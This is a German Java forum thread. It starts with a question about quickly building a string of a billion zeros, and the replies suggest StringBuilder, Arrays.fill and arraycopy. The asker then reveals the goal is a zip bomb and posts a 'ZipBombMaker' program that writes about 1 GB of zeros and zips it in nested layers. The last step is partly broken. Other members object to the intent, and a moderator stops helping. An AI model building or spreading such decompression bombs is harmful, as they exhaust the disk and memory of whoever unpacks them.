Variablen String mit 1 Milliarde 0en

[Lucaaa]

Hallo!
Ich möchte einen String mit 1 Milliarde 0en generieren.
Habs bisher mit einer for-Schleife wo immer ein char c auf den String gerechnet wird. Hab es erst mal mit 1 Millionen 0en versucht und es dauert fast 1 Minute. das ist zu lang!!!.
Hab mal ein YouTube-Video gesehen wie das schneller geht irgendwas mit CharAt oder StringAt oder so ähnlich. Hat da vielleicht jemand eine Idee?

 

[Joose]

Strings sind unveränderlich daher muss immer ein neues String Objekt erzeugt werden.

Anstatt einfach Strings zusammenzuhängen könntest du schon mal den StringBuilder verwenden, generell könntest du auch einfach immer meherer "0" gleichzeitig hinzufügen. Das verkürzt die Laufzeit sicher ebenfalls.

Bleibt aber die Frage bestehen warum willst du das machen? Warum muss es "schnell" sein? Es gibt andere Sprachen mit denen das sicher schneller geht -> C++

 

[Lucaaa]

okay danke ich versuchs mal mit dem StrinbBuilder

 

[Enceladus271]

Ich würde es so versuchen:

final char zero = '0';
final char[] charArray = new char[1000000000];
Arrays.fill(charArray, zero);
final String text = new String(charArray);

edit: geh aber mal davon aus dass du sehr viel Speicher brauchst. Der VM solltest du soviel wie möglich geben.

 

[JStein52]

dass du sehr viel Speicher brauchst.

Mindestens schon mal pro 0 ein Byte

 

[mrBrown]

Mindestens schon mal pro 0 ein Byte

Zwei

 

[Flown]

Ahh da hab ich was auf SO (HIER) mal gemacht. Ging um ein ähnliches Problem, aber im Grunde kann man das ja dann abwandeln:

public static String repeat(char[] arr, int newLength) {
  char[] dup = Arrays.copyOf(arr, newLength);
  for (long last = arr.length; last != 0 && last < newLength; last <<= 1) {
    System.arraycopy(dup, 0, dup, (int) last, (int) (Math.min(last << 1, newLength) - last));
  }
  return new String(dup);
}

Aufruf mit String s = repeat(new char[]{0}, 1_000_000);

 

[Thallius]

Wer sowas machen will sollte sich einfach ein anderes Hobby so suchen...

 

[mrBrown]

Wer sowas machen will sollte sich einfach ein anderes Hobby so suchen...

Zum Glück gibt es Menschen, die sowas anders sehen, sonst würden wir vermutlich grad mit Faustkeilen aufeinander einprügeln

 

[JStein52]

Zwei

Ok, hatte es nur mal grob überschlagen

 

[Thallius]

Zum Glück gibt es Menschen, die sowas anders sehen, sonst würden wir vermutlich grad mit Faustkeilen aufeinander einprügeln

Keine Ahnung was du mir damit sagen willst aber wenn jemand einen String mit 1 Million Nullen erstellen will ist das genauso als ob jemand mit dem aneinander reiben von zwei Fliegenpilzen Feuer machen will statt mit zwei Steien. absolute zeitverschwendung...

 

[JStein52]

Vielleicht interessiert es ihn einfach wie schnell man so was machen kann. Ich habe kürzlich auch mal Pi auf 10 Mio. Stellen genau ausgerechnet.

 

[Thallius]

Vielleicht interessiert es ihn einfach wie schnell man so was machen kann. Ich habe kürzlich auch mal Pi auf 10 Mio. Stellen genau ausgerechnet.

Ich habe mal PI auf 100 stellen genau mit dem C64 ausgerechnet. War eine echte Herausforderung das ist ja auch spannend aber einen String mit 1 Millionen Nullen? Da hätten wir damals drei Befehle gebraucht

char *buffer = alloc(1000 * 1000);
If(buffer)
memset(buffer, 1000 * 1000, 48);

Aber ein Herausforderung ist das nicht wirklich...

 

[Xyz1]

Minimal 2, maximal 4 Bytes pro Zeichen / 0en. D h, 2 bis 4 Mrd. Bytes... Bei dieser Speicherung. Das wären ungefähr 2 Gigabyte. Sicherheitshalber der VM mehr zusichern...

Nun können 19 bis 20 Nullen in nur einen long, 10 in nur einen int, und 3 in nur einen byte gespeichert werden.
http://www.wolframalpha.com/input/?i=plot+log(10^(x-1))/log(2)/8+from+x=0+to+1000000000

Das wären nur ungefähr 400 Megabyte gebraucht.

 

[Xyz1]

Sorry das ist der Uhrzeit geschuldet. log(10^x) ist natürlich linear (= x).

http://www.wolframalpha.com/input/?i=plot+(x-1)/log_10(2)/8+from+x=0+to+10
In 1 Byte passen 3 Ziffern.
In 3 Byte passen 8 Ziffern.
Usw.

und hier sieht man wunderbar:
http://www.wolframalpha.com/input/?i=plot+(x-1)/log_10(2)/8/1024/1024+from+x=0+to+1000000000

es sind genau:
396.0046877342980209568687774680937226266194840860067867076... MB

Sparsamer wäre man vielleicht mit der wissen. Notation: "10^1000000000", das wären maximal nur 13 * 2 Byte = 26 Byte.

 

[Flown]

@Lucaaa was willst du denn damit machen?

 

[Lucaaa]

Wer sowas machen will sollte sich einfach ein anderes Hobby so suchen...

Hast du vielleicht mal daran gedacht, dass das für etwas benötigt wird? Oder glaubst du Ich lass mir einfach mal so 1 Milliarde 0en generieren weil ich so viel Langeweile habe?

 

[Lucaaa]

Hier meine Lösung;

 public static void main(String[] arg) throws FileNotFoundException {
    String text = "" ;
     
    StringBuilder sb = new StringBuilder();
   
    for(int i = 0; i <= 1000000000; i++) {
     sb.append('0');
   //  System.out.println(i);
    }
      text = sb.toString();
      System.out.println("fertig");
      
     
   }

 

[mrBrown]

Hast du vielleicht mal daran gedacht, dass das für etwas benötigt wird? Oder glaubst du Ich lass mir einfach mal so 1 Milliarde 0en generieren weil ich so viel Langeweile habe?

Ja, hätte ich auch gedacht...wofür braucht man denn einen String mit 1_000_000_000 Nullen?

 

[Thallius]

Hast du vielleicht mal daran gedacht, dass das für etwas benötigt wird? Oder glaubst du Ich lass mir einfach mal so 1 Milliarde 0en generieren weil ich so viel Langeweile habe?

Nein das wird sicher nicht benötigt da bin ich zu 100% sicher.

 

[Xyz1]

StringBuilder sb = new StringBuilder();

for(int i = 0; i <= 1000000000; i++) {
sb.append('0');
// System.out.println(i);
}

Ist auch Okay, nicht ganz so schnell, aber um Geschwindigkeit kann es hier nicht gehen.

Kann mal ein Mathe-Prof. schauen oben, ob meine Berechnung richtig/vollst./sinnvoll iss?

 

[mrBrown]

Kann mal ein Mathe-Prof. schauen oben, ob meine Berechnung richtig/vollst./sinnvoll iss?

Ach das war ernst gemeint? Vllt solltest du mal dazu schreiben, was das überhaupt aussagen soll und was das mit der Frage zu tun hat...

 

[VfL_Freak]

Nein das wird sicher nicht benötigt da bin ich zu 100% sicher.

Doch doch ... für meine Gehaltsschecks

VG Klaus

 

[Lucaaa]

Ist auch Okay, nicht ganz so schnell, aber um Geschwindigkeit kann es hier nicht gehen.

Also es dauert nicht mal 2 Sekunden und es soll ja auch nur einmal gemacht werden und nicht immer wieder. Auch wenn es manchmal vorkommt. das ich einen OutOfMemory Fehler bekomme.

 

[mrBrown]

Also es dauert nicht mal 2 Sekunden und es soll ja auch nur einmal gemacht werden und nicht immer wieder. Auch wenn es manchmal vorkommt. das ich einen OutOfMemory Fehler bekomme.

Aber jetzt ist immer noch die Frage offen, warum du es überhaupt brauchst?

 

[Thallius]

Doch doch ... für meine Gehaltsschecks

VG Klaus

Also bei sind das alle Neunen

 

[Lucaaa]

Aber jetzt ist immer noch die Frage offen, warum du es überhaupt brauchst?

Zip-Bombe

 

[Xyz1]

Auch wenn es manchmal vorkommt. das ich einen OutOfMemory Fehler bekomme

Weil die VM höflich ist und idR nicht mehr als 2 GB Speicher fordert. Damit werden auch einige Programmierfehler vermieden.

Nun ist es aber so, das du eine Zeichenketten mit 1 Mrd. 0en erstellst... Dagegen ist die Zahl der Atome im Universum ja winzig.

 

[Lucaaa]

Weil die VM höflich ist und idR nicht mehr als 2 GB Speicher fordert. Damit werden auch einige Programmierfehler vermieden.

Und deswegen umgehen wir das Problem und generieren nur 10 Millionen und schreiben die dann hinternander weg 100 mal in eine Datei. Die ist dann 986 MB groß, die wird gezippt --> nur noch 986KB, nochmal gezippt --> 4KB. - Speicherproblem gelöst.

 

[Xyz1]

Hoffentlich ist der Entropiegehalt des Kopfs höher.

 

[Flown]

Es gibt garantiert eine bessere Lösung ohne OutOfMemoryError. Wie wird denn das File geschrieben?

 

[Lucaaa]

Es gibt garantiert eine bessere Lösung ohne OutOfMemoryError. Wie wird denn das File geschrieben?

Hier mal der Code bis jetzt:

package de.java.luca.zipbombmaker;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.FileWriter;
import java.io.IOException;
import java.util.Scanner;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;
import javax.swing.JFileChooser;
public class ZipBombMaker {
   public static void main(String[] arg) throws FileNotFoundException {
    String text = "" ;
     
    StringBuilder sb = new StringBuilder();
    
    for(int i = 0; i <= 10000000; i++) {
     sb.append('0');
   //  System.out.println(i);
    }
      text = sb.toString();
      System.out.println("fertig");
      erstelleDatei(text);
      
   }
 
 
 
   public static void erstelleDatei(String text) throws FileNotFoundException {
  String pfad = "C:\\users\\lucad\\Desktop\\zip\\test.txt";
 
  
 
  
   FileWriter fw;
   try {
    fw = new FileWriter(pfad); 
   for(int i = 0; i<100; i++) 
    fw.write(text); 
    fw.close();
   } catch (IOException e) {
    e.printStackTrace();
   }
   
   System.out.println("Datei erstellt");
   
   
   erstelleZip();
}
   
   
   
 
 
 
 
 
   
 
 public static void erstelleZip()
    {
    
 for(int zahl = 1; zahl<=16; zahl++) { 
  byte[] buffer = new byte[1024];
     try{
      FileOutputStream fos = new FileOutputStream("C:\\users\\lucad\\Desktop\\zip\\bomb\\page"+ zahl +".zip");
      ZipOutputStream zos = new ZipOutputStream(fos);
      ZipEntry ze= new ZipEntry("test.txt");
      zos.putNextEntry(ze);
      FileInputStream in = new FileInputStream("C:\\users\\lucad\\Desktop\\zip\\test.txt");
      int len;
      while ((len = in.read(buffer)) > 0) {
       zos.write(buffer, 0, len);
      }
      in.close();
      zos.closeEntry();
      //remember close it
      zos.close();
      System.out.println("Zip erstellt");
     }catch(IOException ex){
        ex.printStackTrace();
     }
    }  packeAlles();
}
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 public static void packeAlles()
    {
    
 
  byte[] buffer = new byte[1024];
     try{
      FileOutputStream fos = new FileOutputStream("C:\\users\\lucad\\Desktop\\zip\\out.zip");
      ZipOutputStream zos = new ZipOutputStream(fos);
      ZipEntry ze= new ZipEntry("\\");
      zos.putNextEntry(ze);
      FileInputStream in = new FileInputStream("C:\\users\\lucad\\Desktop\\zip\\bomb\\");
      int len;
      while ((len = in.read(buffer)) > 0) {
       zos.write(buffer, 0, len);
      }
      in.close();
      zos.closeEntry();
      //remember close it
      zos.close();
      System.out.println("Alles fertig");
     }catch(IOException ex){
        ex.printStackTrace();
     }
    }
 
 
}

 

[thecain]

Aha.... Eine Tip Bombe soll das werden... Interessant.........

 

[Lucaaa]

Aha.... Eine Tip Bombe soll das werden... Interessant.........

Ja Tip und buuuum

 

[Thallius]

Irgendwie sagte ich glaube ich bereits das das niemand braucht....

Schade das es Menschen gibt die ihre Lebenszeit damit verschwenden Dinge zu erstellen die anderen Menschen schaden. Unnötig wie ein Kropf...

 

[Lucaaa]

Schade das es Menschen gibt die ihre Lebenszeit damit verschwenden Dinge zu erstellen die anderen Menschen schaden. Unnötig wie ein Kropf...

Genau und weil ich vor habe, jedem den PC zu sprengen frage ich einfach mal im Forum nach: "Hey leute ich will ne Bombe bauen hat jemand n Bauplan?" Erst nachdenken dan schreiben!!!

 

[Thallius]

Genau und weil ich vor habe, jedem den PC zu sprengen frage ich einfach mal im Forum nach: "Hey leute ich will ne Bombe bauen hat jemand n Bauplan?" Erst nachdenken dan schreiben!!!

Na dann sag uns doch deinen Grund wenn wir so vollkommen falsch liegen. Aber das kannste ja auch nicht. Warum wohl (DENKE ich mir da)

 

[Xyz1]

@Lucaaa : Soll das BKA hierauf aufmerksamgemachtwerden, oder wieso schreibst du so etwas?

Das Thema ist doch schon gelöst.

 

[Lucaaa]

Na dann sag uns doch deinen Grund wenn wir so vollkommen falsch liegen. Aber das kannste ja auch nicht. Warum wohl (DENKE ich mir da)

Ich glaube zwar nicht das dich meine Antwort wirklich interessiert, aber ich möchte ein Programm schreiben mit dem sich Zip-B#m##n erstellen lassen. Außerdem wenn ich einfach nur vor hätte jemandem zu schaden, könnte ich mir auch eine von hand machen und mich nicht mit Java abmühen.

So und jetzt schluss damit das hier ist ein Forum für Fragen bezüglich Java.

 

[JStein52]

aber ich möchte ein Programm schreiben mit dem sich Zip-B#m##n erstellen lassen

Wenn du das willst dann solltest du dir mal den Algorithmus anschauen wie das Zip-Format mit einer 1 gefolgt von 1 Mrd. 0en umgeht und gleich das ergebnis in eine Zip-Datei schreiben.

 

[Thallius]

Was ein Glück das er zu dumm dazu ist...

 

[Xyz1]

Das Thema hat das Potential dazu geclosed zu werden. ^^

(Also ich bin raus)

 

[Lucaaa]

Anstatt euch hier gegenseitig anzugreifen könntet ihr mir auch bei meinen AES problem helfen. Siehe AES fehler im anfänger-Forum!
Vielen Dank!

 

[Flown]

Ich habe jetzt eure witzige Diskussion nach DA verschoben.

 

[Xyz1]

Habe einen Hinweis bekommen... aber es scheint inzwischen alles geklärt zu sein.
Nachdem der TE sein Vorhaben offenbart hat, harscht es hier ja an Kritik...

 

[Flown]

Die Intention war meiner Meinung nach die Falsche. Hätte es geheißen ich möchte versuchen, einen Hack zu reproduzieren und lokal zu testen - nur für mich -, dann hätte ich auch weiter geholfen.
Aber mit "klick und bumm" war's dann für mich aus.